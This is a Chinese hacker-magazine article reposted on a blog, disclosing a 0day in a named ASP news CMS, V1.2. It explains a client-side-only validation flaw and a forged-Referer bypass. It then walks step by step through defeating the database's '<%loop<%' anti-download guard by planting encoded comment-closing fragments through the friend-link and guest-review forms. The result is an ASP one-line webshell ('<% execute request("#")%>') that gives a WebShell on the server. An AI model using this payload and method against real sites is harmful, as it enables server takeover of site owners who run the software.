題目:讓LOOP防下載形同虛設(shè)直接拿shell--分析沸騰新聞多媒體展望系統(tǒng)V1.2 0Day
作者:莫ㄨ問[B.H.S.T]& 李宓 [L4nk0r]
來源:L4nk0r'S Blog
此文章已發(fā)表在《 手冊(cè)》2009年第9期雜志上,后經(jīng)作者發(fā)布在博客上,如轉(zhuǎn)載請(qǐng)務(wù)必保留此信息
L4nk0r:為方便大家閱讀,最后提供文件打包下載
事情緣由:
暑假一個(gè)人在家看書,在瀏覽一個(gè)網(wǎng)站的時(shí)候總感覺這個(gè)網(wǎng)站的整體頁面很像一套系統(tǒng).于是就查了真是沸騰展望新聞系統(tǒng).記得早起這個(gè)系統(tǒng)存在很多漏洞.這不馬上到其 下載了最新版本V1.2 Build1版.此版本相對(duì)之前的版本安全性已經(jīng)提高了很多,但是在閱讀代碼過程中還是發(fā)現(xiàn)了一些不足來特來和大家分享,下面對(duì)漏洞的形成做下分析,漏洞本身沒什么,注意思路.
一.注冊(cè)頁面跨站甚至插馬
注冊(cè)跨站甚至寫入木馬,漏洞文件adduser1.asp和saveuser.asp
在adduser1.asp用戶注冊(cè)通過簡單的javascript來判斷username表單是否含有非法字符(在savauser.asp中同樣過濾了,所以u(píng)sername字段沒辦法利用).程序員太過于相信Javascript了.導(dǎo)致用戶可以輸入惡意代碼提交到數(shù)據(jù)庫,代碼如下(savauser.asp文件,這里略去部分無關(guān)代碼)
sex=request.form("sex") // 這里沒有任何過濾,可以通過本地提交表達(dá)
birthyear=request.form("birthyear") //同上
birthmonth=request.form("birthmonth") // 同上
birthday=request.form("birthday")
depid=ChkRequest(request.form("depid"),1) '防注入,這里用ChkRequest()來防注入,跟進(jìn)
photo=request.form("photo")
很明顯上面這些參數(shù)中除了一個(gè)depid過濾了其他都直接獲取了并且后面直接更新到數(shù)據(jù)庫了.我們知道Javascirpt可以本地提交繞過,所以跨站也就沒有問題了.但是在測(cè)試時(shí)候發(fā)現(xiàn)不行,好在仔細(xì)查看包含的文件,我明白程序員為什么這么”自信”了.看到ChkURL.asp,代碼如下:
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
-------------------------------后面一堆提示---------------------------------------
利用REFERER禁止本地提交.還是老思路,構(gòu)造Referer即可.這里我通過WinSock Expert抓包然后NC來修改數(shù)據(jù)提交就可以了.這里不做講解,當(dāng)然這個(gè)漏洞配合后面的使用也是可以的.
二.致命傷-<%loop<%形同虛設(shè)直接拿shell
1.成因分析
直接打開數(shù)據(jù)庫/data/news3000.asp數(shù)據(jù)庫默認(rèn)是asp格式的(相信沒有站長會(huì)把它改成mdb的).這個(gè)是后面利用的前提.我們本地改成mdb的打開,發(fā)現(xiàn)里面有一張表,如圖1:
NotDownload表,其內(nèi)容顯示為:”長二進(jìn)制數(shù)據(jù)”,就是這個(gè)表導(dǎo)致我們?cè)L問數(shù)據(jù)庫的時(shí)候出現(xiàn)如圖2提示:
的原因Loop是asp中的循環(huán)語句,其實(shí)在數(shù)據(jù)庫中那一串長二進(jìn)制數(shù)據(jù)就是<%loop<%的十六進(jìn)制形式3C25206C6F6F70203C25.我們可以通過UltraEdit十六進(jìn)制形式打開它,然后搜索<%就會(huì)發(fā)現(xiàn)如圖3:
知道asp語法的人看到這里應(yīng)該都明白為什么會(huì)有如圖2提示了把.所以當(dāng)你插入一句話的時(shí)候就會(huì)腳本無法閉合的問題.另外<%loop<% 這種是無法閉合的.下面是關(guān)鍵思路:既然無法閉合,我們是否能夠注釋掉?想到這里,我們就會(huì)想到單引號(hào),沒錯(cuò)就是它-ASP的注釋符,但是前提是,要能夠在他之前插入一個(gè)<%’;x (即,
<%'x
這里的x可以是其他字符,是為后面字符轉(zhuǎn)換成unicode編碼用的.) 另外,還要在<%loop<%后面插入一個(gè)%>x(這里X也是同理)才能讓其和前面插入的閉合.這樣就可以注釋掉<%loop<%這個(gè)不可能閉合的問題了.我們整理一下思路:就是在<%loop<%
前后的合適位置插入一段可以閉合的代碼,并且將在這2個(gè)閉合符號(hào)中間的內(nèi)容注釋掉就即可.思路有了..就可以操作了.另外說明下,當(dāng)你用UltraEdit十六進(jìn)制形式打開數(shù)據(jù)庫時(shí)搜索<%如果不是<%loop中的那個(gè),就證明這里可以插入前置閉合符,同理,后置閉合符也可以這樣判斷.思路清晰了,我們來看看實(shí)例操作.二.實(shí)例演示-沸騰展望新聞系統(tǒng)V1.2 0day
打開/data/news3000.asp數(shù)據(jù)庫發(fā)現(xiàn),普通用戶可以添加的數(shù)據(jù)表有:
引用
1. attach表 --文件上傳方式
2. FT_User表 --通過注冊(cè)(配合漏洞1的注冊(cè)跨站使用)
3. Link表 --友情鏈接申請(qǐng)
4. News表 --發(fā)布新聞
5. Review表 --評(píng)論新聞
6. UploadPic表 --上傳圖片
通過窮舉法,多次測(cè)試發(fā)現(xiàn),前置閉合符可以在Link表中插入,而后置閉合符可以在Review表中插入,其他表有興趣的可以自行測(cè)試下.默認(rèn)情況下,系統(tǒng)的友情鏈接和回復(fù)(游客都可以)是開啟的.對(duì)于友情鏈接關(guān)閉申請(qǐng)就只能通過其他表了,這里只是舉個(gè)例子,可以按思路舉一反三.ok,不廢話直接按如圖4填寫(這里也是Javascript判斷后直接插入數(shù)據(jù)庫)
網(wǎng)站名稱”
┼攠數(shù)畣整爠煥敵瑳∨∣┩愾┼砧
”是經(jīng)過lake2編寫的a2u4hack.exe工具轉(zhuǎn)換成Unicode編碼,它原型是:
<% execute request("#")%>a<%'x
,如圖5:
這里要注意的是在轉(zhuǎn)換過程中不能出現(xiàn)?,這就是我剛才為什么加一個(gè)x的原因了.然后直接提交,不管管理員是否審核不影響.再次UltraEdit十六進(jìn)制形式打開搜索<%發(fā)現(xiàn)如圖6:
發(fā)現(xiàn)第一搜索到的是如圖6,也就是說已經(jīng)成功的插入前置閉合符.現(xiàn)在插入隨便首頁點(diǎn)一個(gè)文章,點(diǎn)擊下面的”相關(guān)評(píng)論”選擇游客,然后在內(nèi)容那輸入如圖7:
內(nèi)容為: “┠ 礫 “同理也是經(jīng)過a2u4hack.exe工具編碼的,它的原型是: %>x 這樣以后提交就可以提交到數(shù)據(jù)庫并且完美的注釋掉
<%loop<%.
所有的工作完成后我們看下結(jié)果.如圖8:
成功插入一句話木馬,也成功鏈接了直接拿到WebShell.另外.當(dāng)然程序還存在一些不足,有興趣的朋友可以自己挖掘.對(duì)于這個(gè)思路,當(dāng)如果你并不能如此的完美的插入木馬,我們是否也想過通過此方法來過濾掉一些上傳后綴限制的數(shù)據(jù)然后通過上傳來拿webshell呢?好了,思路就這樣,大家靈活應(yīng)用.官方演示網(wǎng)站關(guān)閉了友情鏈接我們就不做測(cè)試了,必竟只是提供大家一種思路而已.
本次的分析到此結(jié)束了, 對(duì)于此漏洞危害較大,請(qǐng)勿做非法行為.有任何問題可以到黑手論壇與我討論或者E-mail:awolf858@gmail.com.